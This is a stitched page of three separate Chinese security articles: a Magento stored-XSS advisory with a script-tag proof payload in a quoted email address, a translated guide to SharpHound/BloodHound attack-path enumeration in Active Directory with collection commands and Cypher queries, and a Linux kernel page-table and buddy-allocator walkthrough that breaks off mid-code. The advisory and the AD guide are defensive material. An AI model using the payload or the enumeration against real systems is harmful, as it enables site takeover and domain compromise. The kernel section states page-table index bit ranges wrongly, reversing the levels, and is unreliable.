这个漏洞几乎影响到每一台安装了低于1.9.2.3版本的MagentoCE和低于1.14.2.3版本的MagentoEE的设备。这个问题位于Magento核心库,更确切地说是在管理员的后台。除非你在WAF后面,或者有一个改良过的管理面板,否则你将处于危险之中。
因为这是一个存储型XSS漏洞,所以这个问题可能会被攻击者利用来接管你的网站、创建新的管理员帐号、盗取客户信息,或者做一切合法的管理员帐户可以做的事。
技术细节
问题存在于:
app/design/adminhtml/default/default/template/sales/order/view/info.phtml:
你可以从上面的代码片段中看到:这个模板将the getCustomerEmail
method的返回值添加到了管理面板上。这段代码看起来类似于几个月前我们在WordPress
Jetpack插件中发现一个错误。有鉴于此,我们研究了Magento用来检查一个给定的字符串是否是一个电子邮件的验证机制的类型。
这是我们的发现:
它接受两种不同形式的电子邮件:
•定期的,类似于我们在WordPress中发现的那种(没有双引号,没有“<”符号,等等)。
•引证字符串格式, 只要两个双引号,就可以接受几乎任何可打印字符(空格字符除外,它只允许在正则空间使用)。
理论上,这意味着我们可以使用像[“><script>(1);</script>”@sucuri.net](mailto:%E2%80%9C%3E%3Cscript%3E\(1\);%3C/script%3E%E2%80%[email protected])这样的电子邮件作为我们的客户帐户的邮件,提交订单,看看当管理员在管理面板检查我们的订单时会发生什么。
我们是正确的!我们只触发了Magento核心内的一个XSS。
**尽快打补丁**
如果你正在使用一个含有漏洞的版本的Magento,请尽快更新或者下载补丁!如果不能,那么我们强烈建议使用我们的网站防火墙或同等技术对其进行修补。 | 社区文章 |
# 新型弹性防御技术解析（下）
|
##### 译文声明
本文是翻译文章，文章原作者 Andy Robbins
原文地址：<https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-two-279a1ed7863d>
译文仅供参考，具体内容表达以及含义原文为准。
### 传送门：[新型弹性防御技术解析（上）](https://www.anquanke.com/post/id/99770)
> ### 写在前面的话
>
>
> 这篇文章是本系列的下集，在本系列文章的上集中主要讨论的是关于敌对弹性防御技术的高级策略。那么在这篇文章里，我们会将本文所介绍的理论技术付诸于实践，并介绍详细的技术实现细节。
## 弹性应对方法
任何好的方法都需要有明确的目标，我们的弹性方法目标非常简单：
1. 找出攻击者最有可能使用的所有攻击路径，并抢在攻击者之前去执行这些攻击路径。
2. 显著减少攻击路径的数量。
3. 对于我们无法消除的攻击路径，我们要想办法防止/缓解攻击。
4. 维护一个高弹性的活动目录，用于抵御凭证窃取以及对象控制攻击。
我们主要通过下列四个阶段来实现：
## 第一阶段：枚举攻击路径
第一阶段的目标就是要收集下列信息：
1. 从所有加入的域中的系统里收集本地管理员组信息；
2. 用户会话的位置；
3. 从所有安全AD对象中手机ACE，包括用户、组和域对象；
4. 活动目录域的信任对象；
这一步可以使用SharpHound来完成，下载地址如下：【传送门】
关于SharpHound的详细信息请参考【这篇文章】。
下载了SharpHound.exe之后，你需要在加入了目标域的计算机设备（这些设备理论上可以访问企业网络中已加入该域的其他计算机系统）上运行该程序。如果你需要处理网络切割的情况，那你可能需要在网络中的多台计算机上运行SharpHound。为了方便演示，我们直接将SharpHound.exe放到了C盘下：
`C:> SharpHound.exe`
运行之后，工具将帮我们从域中所有可访问到的计算机中收集到本地管理员组成员信息和活动目录安全组成员，并循环收集用户会话信息。为了收集综合用户会话数据，我们建议大家运行下列命令，整个数据收集过程大约需要一个小时左右的时间：
`C:> SharpHound.exe — CollectionMethod SessionLoop — MaxLoopTime 1h`
最后，我们需要运行SharpHound的ACL收集方法来从计算机、用户和域安全对象中收集ACE信息：
`C:> SharpHound.exe — CollectionMethod ACL`
SharpHound将会在你当前的工作目录中写入CSV文件。接下来，我们需要将这些CSV文件导入到BloodHound的图形数据库中。
## 第二阶段：分析攻击路径
弹性技术的作用就是减少活动目录（AD）的攻击面，而BloodHound允许我们对任意节点的攻击路径进行分析。为了方便演示，我们选择最常见且任何组织都想要实现的目标：减少Domain
Admin用户账号的攻击路径。
一般来说，红队调查报告中会给用户介绍攻击者的攻击路径，而这些攻击路径中往往都包括横向渗透以及通过活动目录实现提权。而BloodHound的攻击路径非常丰富，其中包括凭证窃取、本地管理员提权以及安全对象控制等等。
在安装分析工具时，我们有几种选项，即Neo4j和BloodHound UI。你可以自行下载Neo4j Server【下载地址】和BloodHound
UI【下载地址】，并手动进行配置，或者你也可以选择Walter
Legowski的Neo4j/BloodHound自动安装器【下载地址】来完成安装。关于BloodHound的操作指南，请参考【这篇WiKi文献】。
当你配置好并运行Neo4j服务器之后，我们需要打开BloodHound UI并完成Neo4j认证。接下来，点击“Upload
Data”（上传数据）按钮并上传第一阶段提取出来的CSV文件：
选择你的CSV文件，然后点击文件选择框中的“OK”按钮。接下来，程序会自动对CSV文件进行解析，并将他们加载到Neo4j数据库中。接下来，你就可以对这些数据进行分析了。
当你的数据上传到Neo4j数据库之后，打开BloodHound，默认它会给大家显示域管理员组的所有有效成员。右键点击“域管理员组”按钮，然后选择“Shortest
Paths to Here”：
接下来，程序将会在后台运行allShortestPaths语句，然后BloodHound UI将会给用户呈现出分析后的结果路径：
还记得之前例子中的“USER99”节点吗，像那种一次性的修改是不会对缓解攻击路径有显著影响的。相反，我们应该想办法寻找出那些可能会暴露域管理员用户的行为模式以及特殊权限。比如说，通过点击“域管理员组”选项，我们可以看到关于该组的很多信息，其中包括用户会话的数量：
如果我们点击上图中的数字“117”，BloodHound UI将会以图形化的形式显示出域管理员组成员的会话信息：
除此之外，你还可以分析出整个网络系统中有效的本地管理员数量。使用BloodHound接口，你可以每次单独分析一个系统，或者在Neo4j
Web控制台中导入一个需要分析的计算机列表。在开启了Neo4j服务器的情况下，打开你的浏览器并访问[http://localhost:7474：](http://localhost:7474%EF%BC%9A)
Cyhper语句如下所示：
MATCH p = (u1:User)-[r:MemberOf|AdminTo*1..]->(c:Computer)-[r2:HasSession]->(u2:User)-[r3:MemberOf*1..]->(g:Group {name:’DOMAIN [email protected]’})
RETURN COUNT(DISTINCT(u1)) AS adminCount,c.name as computerName
ORDER BY adminCount DESC
下图显示的是Neo4j Web控制台中的输出结果：
我们还可以评估域管理员组中的某个用户对整个网络环境的影响程度。这里我们需要使用三个因素来进行评估：拥有指向DA路径的用户数量百分比，拥有指向DA路径的计算机数量百分比，以及攻击路径的平均长度。我们可以在Neo4j的Web控制台（[http://localhost:7474/）中运行下列命令：](http://localhost:7474/%EF%BC%89%E4%B8%AD%E8%BF%90%E8%A1%8C%E4%B8%8B%E5%88%97%E5%91%BD%E4%BB%A4%EF%BC%9A)
// Calculate the percentage of users with a path to DA
MATCH (totalUsers:User {domain:'EXTERNAL.LOCAL'})
MATCH p = shortestPath((pathToDAUsers:User {domain:'EXTERNAL.LOCAL'})-[r*1..]->(g:Group {name:'DOMAIN [email protected]'}))
WITH COUNT(DISTINCT(totalUsers)) as totalUsers, COUNT(DISTINCT(pathToDAUsers)) as pathToDAUsers
RETURN 100.0 * pathToDAUsers / totalUsers AS percentUsersToDA
// Calculate the percentage of computers with a path to DA
MATCH (totalComputers:Computer {domain:'EXTERNAL.LOCAL'})
MATCH p = shortestPath((pathToDAComputers:Computer {domain:'EXTERNAL.LOCAL'})-[r*1..]->(g:Group {name:'DOMAIN [email protected]'}))
WITH COUNT(DISTINCT(totalComputers)) as totalComputers, COUNT(DISTINCT(pathToDAComputers)) as pathToDAComputers
RETURN 100.0 * pathToDAComputers / totalComputers AS percentComputersToDA
// Calculate the average attack path length
MATCH p = shortestPath((n {domain:'EXTERNAL.LOCAL'})-[r*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN toInt(AVG(LENGTH(p))) as avgPathLength
## 第三阶段：弹性假设生成
在样本数据库中，我们发现很多计算机都登录了Domain Admin，数量跟域中的计算机总数几乎相同。这是一种很常见的问题，一般来说，我们会限制Domain
Admin或引入域控制器系统。
在本系列文章的上集中，我们提出了如下所示的假设：
如果我们采取下列措施，那么只有5%的用户和5%的电脑能够访问Domain Admin用户-限制Domain
Admin只能在域控制器中登录（以及从域控制器中移除不必要的本地管理员权限！）。
在Cypher中，我们可以搜索出所有登录了域管理员账号的系统，而这些系统并不在域控制器之中：
// Find all systems DAs were logged onto which are NOT domain controllers
MATCH (c2:Computer)-[r3:MemberOf*1..]->(g2:Group {name:’DOMAIN [email protected]’})
WITH COLLECT(c2.name) as domainControllers
MATCH (c1:Computer)-[r1:HasSession]->(u1:User)-[r2:MemberOf*1..]->(g1:Group {name:’DOMAIN [email protected]’})
WHERE NOT (c1.name IN domainControllers)
RETURN DISTINCT(c1.name)
ORDER BY c1.name ASC
下图显示的是不在域控制器之中登录的计算机信息：
或者，我们也可以给BloodHound UI提供一套路径集合，并在BloodHound UI中以图形化的方式查看路径信息：
// Find all systems DAs were logged onto that are NOT domain controllers, and return paths:
MATCH (c2:Computer)-[r3:MemberOf*1..]->(g2:Group {name:’DOMAIN [email protected]’})
WITH COLLECT(c2.name) as domainControllers
MATCH p = (c1:Computer)-[r1:HasSession]->(u1:User)-[r2:MemberOf*1..]->(g1:Group {name:’DOMAIN [email protected]’})
WHERE NOT (c1.name IN domainControllers)
RETURN p
在Cypher中，我们可以通过修改原始查询语句来移除这些存在问题的“安全边际”。此时，你需要在图形数据库中创建一份拷贝，这样就可以拿修改后的路径图跟原始数据进行对比了：
// Remove any DA user sessions where those sessions are on any computers that are NOT domain controllers.
MATCH (c2:Computer)-[r3:MemberOf*1..]->(g2:Group {name:’DOMAIN [email protected]’})
WITH COLLECT(c2.name) as domainControllers
MATCH (c1:Computer)-[r1:HasSession]->(u1:User)-[r2:MemberOf*1..]->(g1:Group {name:’DOMAIN [email protected]’})
WHERE NOT (c1.name IN domainControllers)
DETACH DELETE r1
## 第四阶段：修复处理优先级
最后一个阶段就是对第三阶段所发现的问题进行优先级排序，我们认为这项技术可以帮助企业有效地维护活动目录，而本技术所提供的高弹性特点可以有效抵御很多基于权限的攻击。简而言之，我们要尽可能多地找出攻击路径，并想办法消除它们的影响。下图显示的是企业环境下的攻击路径可视化数据图：
经过了四轮修复之后，攻击路径统计如下：
## 总结
正如我们之前所说的，我们需要让第二阶段的操作尽可能地以自动化的形式去实现，不过目前这个阶段还是得手动完成，所以可能有些枯燥乏味了。John
Dunagan、Alice Zheng和Daniel Simon等人提出了一种基于机器学习的自动化方法，感兴趣的同学可以参考一下【文章传送门】。
希望我们所介绍的方法可以帮助社区的安全研究人员对自己的网络系统环境有一个更加深刻的认识，如果你对本文所介绍的弹性防御技术有任何疑问或者想要帮助我们提升BloodHound功能的话，欢迎大家与我联系（mailto:[email protected]），或在论坛（[http://bloodhoundgang.herokuapp.com）中留言。](http://bloodhoundgang.herokuapp.com%EF%BC%89%E4%B8%AD%E7%95%99%E8%A8%80%E3%80%82) | 社区文章 |
**作者：povcfe
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
linux作为开源内核，被广泛使用。同时随着用户态安全机制的逐渐完善，攻击成本逐年升高，越来越多的黑客将目光投向linux内核，linux内核安全问题也随之被越来越多的安全研究人员关注。但作为一个规模宏大的开源项目，linux内核安全研究存在非常高的研究门槛，不管是针对特定模块的漏洞挖掘，还是cve复现，对内核的理解限制了绝大多数安全研究人员。而本文则希望通过对内核源码做详细分析来让更多的安全研究人员越过内核门槛。
这篇文章的贡献如下：
（1）硬件层面上分析linux内核页表
（2）从buddy源码分析linux内核页管理
（3）从slub源码分析linux内核小内存管理
（4）从vma源码分析linux内核对于进程内存空间的布局及管理
（5）分析缺页中断流程
（6）从ptmalloc源码分析用户态内存管理机制，以及如何通过特定api与linux内核交互
## 页表
### 页表查询--以x86_64下的4级页表举例(硬件)
* 流程总览(定义虚拟地址virt_addr, 寻找对应的物理地址phy_addr)
* 顺序: TLB -> 页表结构cache -> 页表(MMU硬件实现)
* MMU = TLB(Translation Lookaside Buffer) + table walk unit
#### TLB转换
1. 明确概念:
VPN(virtual page number), PPN(physical page number),VPO(virtual page
offset)和PPO(physical page offset)
* 对于线性地址和物理地址而言, 都是以page为最小的管理单元, 那么也就是说如果线性地址可以映射到某物理地址, 则两者页偏移相同(默认page size = 4K, 占用低12bits), 即VPO = PPO
* TLB可以简单理解成VPN->PPN(36bits), 实现了一个线性映射, 基本结构如下:
1. 通过VPN(virt_addr[12:48])定位表项
2. 全相连(full associative)-- VPN可以被填充在TLB中的任何位置
* 定位VPN对应的表项需要遍历TLB中的所有表项
3. 直接匹配-- VPN被映射在特定位置
* 如果TLB存在n个表项, 那么VPN%n即为该VPN的索引
* 定位到索引后, 查看VPN是否匹配, 如果不匹配则TLB miss
4. 组相连(set-associative)-- 全相连和直接匹配相结合
* TLB被划分为m组, 每个组存在n表项, VPN分为set(VPN[47-log2(m):48]), tag(VPN[12:48-log2(m)])
* VPN[47-log2(m):48]%m为该VPN的set索引
* 定位到索引后, 查看set内是否存在tag, 如果不存在则TLB miss
#### 页表转换
1. 明确概念:
2. 对于四级页表: PGD(page global directory), PUD(page upper directory), PMD(page middle directory), PTE(page table entry), 每个页表占9bits, 支持48bits虚拟地址
3. 对于五级页表：添加P4D表项, 支持57位虚拟地址
4. 通过virt_addr[12:48]定位page table entry
5. CR3寄存器存储PGD物理地址, virt_addr[12:21]为PGD_index, PGD+PGD_index=PGD_addr
6. virt_addr[21:30]为PUD_index, PGD_addr+PUD_index=PUD_addr
7. virt_addr[30:39]为PME_index, PUD_addr+PME_index=PME_addr
8. virt_addr[39:48]为PTE_index, PME_addr+PTE_index=PTE_addr
9. PTE_addr即为page table entry是一个表项映射到PPN
#### 页表结构cache转换
1. 明确概念:
2. 如果某些虚拟地址临近, 那么很有可能他们会有相同的页表项(PGD or PUD or PMD or PTE),对于这种情况如果还是依次查询页表就会浪费大量时间, 所以存在页表结构cache, 用来缓存页表
3. cache种类:
4. PDE cache(virt_addr[22:48]作为tag, 映射PME entry地址)
5. PDPTE cache(virt_addr[31:48]作为tag, 映射PUD entry地址)
6. PML4 cache(virt_addr[40:48]作为tag, 映射PGD entry地址)
### 拓展
#### 普通页表cache
1. 明确概念:
2. 页表保存在内存中, 可以被缓存到普通cache
3. 各级页表中存在PCD(page-level cache disable)标志位, 控制下一级页表是否需要被缓存
#### Huge_Page
1. 明确概念:
2. 页表中指向下一级的地址是按页对齐的, 也就是低12bits无效, 可以用作flag标志位
3. page size flag为1时表示当前页表的下级地址对应大页地址而不是页表
4. x86两级页表支持4MB大页(跳过PTE, 4K*2^10=4MB)
5. x86_64四级页表支持2MB大页(跳过PTE, 4K*2^9=2MB), 1GB大页(跳过PME, 2M*2^9=1GB)
#### 页表标志位
* P(Present) - 为1表明该page存在于当前物理内存中, 为0则触发page fault。
* G(Global)- 标记kernel对应的页, 也存在于TLB entry, 表示该页不会被flush掉。
* A(Access) - 当page被访问(读/写)过后, 硬件置1。软件可置0, 然后对应的TLB将会被flush掉。
* D(Dirty)- 对写回的page有作用。当page被写入后, 硬件置1, 表明该page的内容比外部disk/flash对应部分要新, 当系统内存不足, 要将该page回收的时候, 需首先将其内容flush到外部存储, 之后软件将该标志位清0。
* R/W和U/S属于权限控制类：
* R/W(Read/Write) - 置1表示该page是writable的, 置0是readonly。
* U/S(User/Supervisor) - 置0表示只有supervisor(比如操作系统中的kernel)才可访问该page, 置1表示user也可以访问。
* PCD和PWT和cache属性相关：
* PCD(Page Cache Disabled)- 置1表示disable, 即该page中的内容是不可以被cache的。如果置0(enable), 还要看CR0寄存器中的CD位这个总控开关是否也是0。
* PWT (Page Write Through)- 置1表示该page对应的cache部分采用write through的方式, 否则采用write back。
* 64位特有:
* XD (Execute Disable)- 在bit[63]中
* CR3支持PCID:
* CR4寄存器的PCIDE位 = 1, 则CR3低12位表示PCID(覆盖PCD和PWT--CR3低12bits只有PCD和PWT标志位)
## 伙伴算法(buddy)
* alloc_pages(内存分配)概略图
\+ __free_pages(内存释放)缩略图
## alloc_pages源码分析
1. pol变量保存内存分配策略(man set_mempolicy)
* MPOL_DEFAULT: 默认策略, 优先从当前结点分配内存, 若当前结点无空闲内存, 则从最近的有空闲内存的结点分配
* MPOL_BIND: 指定内存分配结点集合, 若该集合内无空闲内存, 则分配失败
* MPOL_INTERLEAVE: 内存分配要覆盖所有结点, 且每个结点使用的内存大小相同, 常用于共享内存区域
* MPOL_PREFERRED: 从指定结点上分配内存, 若该结点无空闲内存, 则从其他结点分配
* MPOL_LOCAL: 同MPOL_DEFAULT
* water_mark
enum zone_watermarks {
WMARK_MIN,
WMARK_LOW,
WMARK_HIGH,
NR_WMARK
};
* WMARK_MIN: 当空闲页面的数量降到WMARK_MIN时, 唤醒 kswapd 守护进程以同步的方式进行直接内存回收, 同时只有GFP_ATOMIC可以在这种情况下分配内存
* WMARK_LOW: 当空闲页面的数量降到WMARK_LOW时, 唤醒 kswapd 守护进程进行内存回收
* WMARK_HIGH: kswapd进程休眠
* 自旋锁(spin_lock)
* 为什么使用自旋锁:
* 使用常规锁会发生上下文切换,时间不可预期,对于一些简单的、极短的临界区来说是一种性能损耗
* 中断上下文是不允许睡眠的,除了自旋锁以外的其他锁都有可能导致睡眠或者进程切换,这是违背了中断的设计初衷,会发生不可预知的错误
* 自旋锁的功能: 一直轮询等待检查临界区是否可用, 直至时间片用完
* 自旋锁使用原则:
* 禁止抢占: 如果A, B同时访问临界区, A进程首先获得自旋锁, B进程轮询等待, B抢占A后, B无法获得自旋锁, 造成死锁
* 禁止睡眠: 如果自旋锁锁住以后进入睡眠,而又不能进行处理器抢占,内核的调取器无法调取其他进程获得该CPU,从而导致该CPU被挂起；同时该进程也无法自唤醒且一直持有该自旋锁,进一步会导致其他使用该自旋锁的位置出现死锁
* 自旋锁的几个实现:
* spin_lock: 只禁止内核抢占, 不会关闭本地中断
* spin_lock_irq: 禁止内核抢占, 且关闭本地中断
* spin_lock_irqsave: 禁止内核抢占, 关闭中断, 保存中断状态寄存器的标志位
* spin_lock与spin_lock_irq的区别:
* 禁止中断与禁止抢占的原因相同
* spin_lock_irq与spin_lock_irqsave的区别:
* 假设临界区被两把spin_lock_irq(a->b)锁定, 当b解锁后(a还在加锁中), 不会保存a加锁后的中断寄存器状态(直接开中断), 也就是锁a在加锁时, 中断被打开, 导致spin_lock_irq在功能上和spin_lock相同, 也就具备了spin_lock的中断隐患
### alloc_pages_current
struct page *alloc_pages_current(gfp_t gfp, unsigned order)
{
// pol变量保存内存分配策略(默认为default_policy)
struct mempolicy *pol = &default_policy;
struct page *page;
// 如果不在中断状态下且未指定在当前结点分配内存时, 使用get_task_policy获得当前进程内存分配策略
if (!in_interrupt() && !(gfp & __GFP_THISNODE))
pol = get_task_policy(current);
// 如果内存分配策略为MPOL_INTERLEAVE, 则进入alloc_page_interleave
if (pol->mode == MPOL_INTERLEAVE)
page = alloc_page_interleave(gfp, order, interleave_nodes(pol));
else
page = __alloc_pages_nodemask(gfp, order,
policy_node(gfp, pol, numa_node_id()),
policy_nodemask(gfp, pol));
return page;
}
### __alloc_pages_nodemask
struct page *
__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order, int preferred_nid,
nodemask_t *nodemask)
{
struct page *page;
unsigned int alloc_flags = ALLOC_WMARK_LOW;
gfp_t alloc_mask; /* The gfp_t that was actually used for allocation */
struct alloc_context ac = { };
// 如果order大于MAX_ORDER(11), 则内存分配失败
if (unlikely(order >= MAX_ORDER)) {
WARN_ON_ONCE(!(gfp_mask & __GFP_NOWARN));
return NULL;
}
// 添加gfp_allowed_mask标志位
gfp_mask &= gfp_allowed_mask;
alloc_mask = gfp_mask;
// 填充ac参数(用于内存分配), 并做一些检查
if (!prepare_alloc_pages(gfp_mask, order, preferred_nid, nodemask, &ac, &alloc_mask, &alloc_flags))
return NULL;
// 决定是否平衡各个zone中的脏页, 确定zone(相当于对prepare_alloc_pages的补充)
finalise_ac(gfp_mask, &ac);
// 给alloc_flags添加ALLOC_NOFRAGMENT标志位(不使用zone备用迁移类型), 如果遍历完本地zone后仍然无法分配内存则取消该标志位, 该方案是为了减少内存碎片
alloc_flags |= alloc_flags_nofragment(ac.preferred_zoneref->zone, gfp_mask);
// 通过快分配分配内存页
page = get_page_from_freelist(alloc_mask, order, alloc_flags, &ac);
if (likely(page))
goto out;
alloc_mask = current_gfp_context(gfp_mask);
ac.spread_dirty_pages = false;
if (unlikely(ac.nodemask != nodemask))
ac.nodemask = nodemask;
// 通过慢分配分配内存页
page = __alloc_pages_slowpath(alloc_mask, order, &ac);
out:
if (memcg_kmem_enabled() && (gfp_mask & __GFP_ACCOUNT) && page &&
unlikely(__memcg_kmem_charge(page, gfp_mask, order) != 0)) {
__free_pages(page, order);
page = NULL;
}
trace_mm_page_alloc(page, order, alloc_mask, ac.migratetype);
return page;
}
* prepare_alloc_pages
static inline bool prepare_alloc_pages(gfp_t gfp_mask, unsigned int order,
int preferred_nid, nodemask_t *nodemask,
struct alloc_context *ac, gfp_t *alloc_mask,
unsigned int *alloc_flags)
{
// ac填充从gfp_mask获取的内存分配参数
// 获得当前nodemask对应的zone的max_index
ac->high_zoneidx = gfp_zone(gfp_mask);
// 获得node对应的zone_list
ac->zonelist = node_zonelist(preferred_nid, gfp_mask);
ac->nodemask = nodemask;
// 选择迁移类型
ac->migratetype = gfpflags_to_migratetype(gfp_mask);
// 判断是否存在cpuset机制
if (cpusets_enabled()) {
*alloc_mask |= __GFP_HARDWALL;
if (!ac->nodemask)
ac->nodemask = &cpuset_current_mems_allowed;
else
*alloc_flags |= ALLOC_CPUSET;
}
// 函数未实现
fs_reclaim_acquire(gfp_mask);
fs_reclaim_release(gfp_mask);
// 如果内存紧张可能会休眠
might_sleep_if(gfp_mask & __GFP_DIRECT_RECLAIM);
// 对gfp_mask, ord做检查(默认没有开启CONFIG_FAIL_PAGE_ALLOC的情况下, 直接return false)
if (should_fail_alloc_page(gfp_mask, order))
return false;
// 匹配CMA机制
if (IS_ENABLED(CONFIG_CMA) && ac->migratetype == MIGRATE_MOVABLE)
*alloc_flags |= ALLOC_CMA;
return true;
}
* finalise_ac
static inline void finalise_ac(gfp_t gfp_mask, struct alloc_context *ac)
{
/* Dirty zone balancing only done in the fast path */
ac->spread_dirty_pages = (gfp_mask & __GFP_WRITE);
// 从zone_list头部开始寻找匹配nodemask的zoneref
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->high_zoneidx, ac->nodemask);
}
#### get_page_from_freelist
static struct page *
get_page_from_freelist(gfp_t gfp_mask, unsigned int order, int alloc_flags,
const struct alloc_context *ac)
{
struct zoneref *z;
struct zone *zone;
struct pglist_data *last_pgdat_dirty_limit = NULL;
bool no_fallback;
retry:
/*
* Scan zonelist, looking for a zone with enough free.
*/
// ALLOC_NOFRAGMENT标志位由alloc_flags_nofragment()函数设置
// no_fallback: node->node_zonelists[]包含本node的zones以及备用zones, 设置fallback后可使用备用zones
no_fallback = alloc_flags & ALLOC_NOFRAGMENT;
z = ac->preferred_zoneref;
// 遍历zone
for_next_zone_zonelist_nodemask(zone, z, ac->zonelist, ac->high_zoneidx,
ac->nodemask) {
struct page *page;
unsigned long mark;
// 判断cpuset是否开启且当前CPU是否允许在内存域zone所在结点中分配内存
if (cpusets_enabled() &&
(alloc_flags & ALLOC_CPUSET) &&
!__cpuset_zone_allowed(zone, gfp_mask))
continue;
// ac->spread_dirty_pages不为0表示gfp_mask存在__GFP_WRITE标志位, 有可能增加脏页
if (ac->spread_dirty_pages) {
if (last_pgdat_dirty_limit == zone->zone_pgdat)
continue;
// 如果zone对应的node脏页超标则使用last_pgdat_dirty_limit标识, 并跳过该zone
if (!node_dirty_ok(zone->zone_pgdat)) {
last_pgdat_dirty_limit = zone->zone_pgdat;
continue;
}
}
// 如果设置no_fallback且当前zone并非preferred_zone, 则索引zone->node, 如果该node并非preferred_zone->node, 则取消ALLOC_NOFRAGMENT标志位即设置fallback(因为相比于内存碎片, 内存局部性更重要)
if (no_fallback && nr_online_nodes > 1 &&
zone != ac->preferred_zoneref->zone) {
int local_nid;
local_nid = zone_to_nid(ac->preferred_zoneref->zone);
if (zone_to_nid(zone) != local_nid) {
alloc_flags &= ~ALLOC_NOFRAGMENT;
goto retry;
}
}
// 获取该zone的水准, 并检查该zone的水位是否水准之上
mark = wmark_pages(zone, alloc_flags & ALLOC_WMARK_MASK);
if (!zone_watermark_fast(zone, order, mark,
ac_classzone_idx(ac), alloc_flags,
gfp_mask)) {
int ret;
// 如果存在ALLOC_NO_WATERMARKS标志位则忽略水位, 进入try_this_zone
if (alloc_flags & ALLOC_NO_WATERMARKS)
goto try_this_zone;
/*
static bool zone_allows_reclaim(struct zone *local_zone, struct zone *zone)
{
return node_distance(zone_to_nid(local_zone), zone_to_nid(zone)) <=
node_reclaim_distance;
}
*/
// 如果系统不允许回收内存或者preferred->zone与当前zone的node_distance大于node_reclaim_distance(默认30), 则更换zone
if (node_reclaim_mode == 0 ||
!zone_allows_reclaim(ac->preferred_zoneref->zone, zone))
continue;
// 内存回收
ret = node_reclaim(zone->zone_pgdat, gfp_mask, order);
switch (ret) {
case NODE_RECLAIM_NOSCAN:
/* did not scan */
continue;
case NODE_RECLAIM_FULL:
/* scanned but unreclaimable */
continue;
default:
// 内存回收后, 水位正常
if (zone_watermark_ok(zone, order, mark,
ac_classzone_idx(ac), alloc_flags))
goto try_this_zone;
continue;
}
}
try_this_zone:
// 伙伴算法开始分配页内存
page = rmqueue(ac->preferred_zoneref->zone, zone, order,
gfp_mask, alloc_flags, ac->migratetype);
if (page) {
prep_new_page(page, order, gfp_mask, alloc_flags);
if (unlikely(order && (alloc_flags & ALLOC_HARDER)))
reserve_highatomic_pageblock(page, zone, order);
return page;
} else {
}
##### rmqueue
static inline
struct page *rmqueue(struct zone *preferred_zone,
struct zone *zone, unsigned int order,
gfp_t gfp_flags, unsigned int alloc_flags,
int migratetype)
{
unsigned long flags;
struct page *page;
//如果分配单页, 则进入rmqueue_pcplist
if (likely(order == 0)) {
page = rmqueue_pcplist(preferred_zone, zone, gfp_flags,
migratetype, alloc_flags);
goto out;
}
// 不能使用__GFP_NOFAIL, 分配order>1的页
WARN_ON_ONCE((gfp_flags & __GFP_NOFAIL) && (order > 1));
// 使用自旋锁加锁zone资源
spin_lock_irqsave(&zone->lock, flags);
do {
page = NULL;
// ALLOC_HARDER表示高优先级分配, 进入__rmqueue_smallest
if (alloc_flags & ALLOC_HARDER) {
page = __rmqueue_smallest(zone, order, MIGRATE_HIGHATOMIC);
if (page)
// 用于debug的插桩设计
trace_mm_page_alloc_zone_locked(page, order, migratetype);
}
// 不满足上诉条件或page未分配成功, 进入__rmqueue
if (!page)
page = __rmqueue(zone, order, migratetype, alloc_flags);
} while (page && check_new_pages(page, order));
// check_new_pages遍历page_block中的struct page, 检查page成员, 如果出错则打印错误原因
spin_unlock(&zone->lock);
if (!page)
goto failed;
// page_block被分配后更新zone成员信息
__mod_zone_freepage_state(zone, -(1 << order),
get_pcppage_migratetype(page));
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1 << order);
// 如果系统是NUMA架构, 则更新NUMA hit/miss 数据
zone_statistics(preferred_zone, zone);
// 恢复中断信息
local_irq_restore(flags);
out:
/* Separate test+clear to avoid unnecessary atomics */
if (test_bit(ZONE_BOOSTED_WATERMARK, &zone->flags)) {
clear_bit(ZONE_BOOSTED_WATERMARK, &zone->flags);
wakeup_kswapd(zone, 0, 0, zone_idx(zone));
}
// 编译阶段的变量类型检查
VM_BUG_ON_PAGE(page && bad_range(zone, page), page);
return page;
failed:
local_irq_restore(flags);
return NULL;
}
###### rmqueue_pcplis
static struct page *rmqueue_pcplist(struct zone *preferred_zone,
struct zone *zone, gfp_t gfp_flags,
int migratetype, unsigned int alloc_flags)
{
struct per_cpu_pages *pcp;
struct list_head *list;
struct page *page;
unsigned long flags;
// 禁用全部中断, 并将当前中断状态保存至flags
local_irq_save(flags);
// 获得当前cpu的pcp结构体(热页)
pcp = &this_cpu_ptr(zone->pageset)->pcp;
// 根据迁移类型选择热页链表
list = &pcp->lists[migratetype];
// 在list中分配内存页
page = __rmqueue_pcplist(zone, migratetype, alloc_flags, pcp, list);
if (page) {
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1);
// Update NUMA hit/miss statistics
zone_statistics(preferred_zone, zone);
}
// 恢复中断状态并开中断
local_irq_restore(flags);
return page;
}
> * __rmqueue_pcplist
>
static struct page *__rmqueue_pcplist(struct zone *zone, int migratetype,
unsigned int alloc_flags,
struct per_cpu_pages *pcp,
struct list_head *list)
{
struct page *page;
do {
// 如果列表为空, 则使用rmqueue_bulk装载内存页进入列表
if (list_empty(list)) {
pcp->count += rmqueue_bulk(zone, 0,
pcp->batch, list,
migratetype, alloc_flags);
if (unlikely(list_empty(list)))
return NULL;
}
// 获得lru列表首部页结点
page = list_first_entry(list, struct page, lru);
// 将页结点从page->lru列表删除
list_del(&page->lru);
// 空闲page计数器-1
pcp->count--;
// 对page做安全检查
} while (check_new_pcp(page));
return page;
}
> > * rmqueue_bulk
>>
static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
int i, alloced = 0;
// 对zone资源加锁
spin_lock(&zone->lock);
for (i = 0; i < count; ++i) {
// 从zone中取出page放入pcp热页缓存列表, 直至pcp被填满
struct page *page = __rmqueue(zone, order, migratetype,
alloc_flags);
if (unlikely(page == NULL))
break;
// check_pcp_refill封装check_new_page
if (unlikely(check_pcp_refill(page)))
continue;
// 添加page至list->lru
list_add_tail(&page->lru, list);
alloced++;
// 如果page位于cma中, 则更新NR_FREE_CMA_PAGES
if (is_migrate_cma(get_pcppage_migratetype(page)))
__mod_zone_page_state(zone, NR_FREE_CMA_PAGES,
-(1 << order));
}
// 从zone摘取page_block过程循环了i次, 每个page_block包含2^i个page, NR_FREE_PAGES-i << order, 更新NR_FREE_PAGES
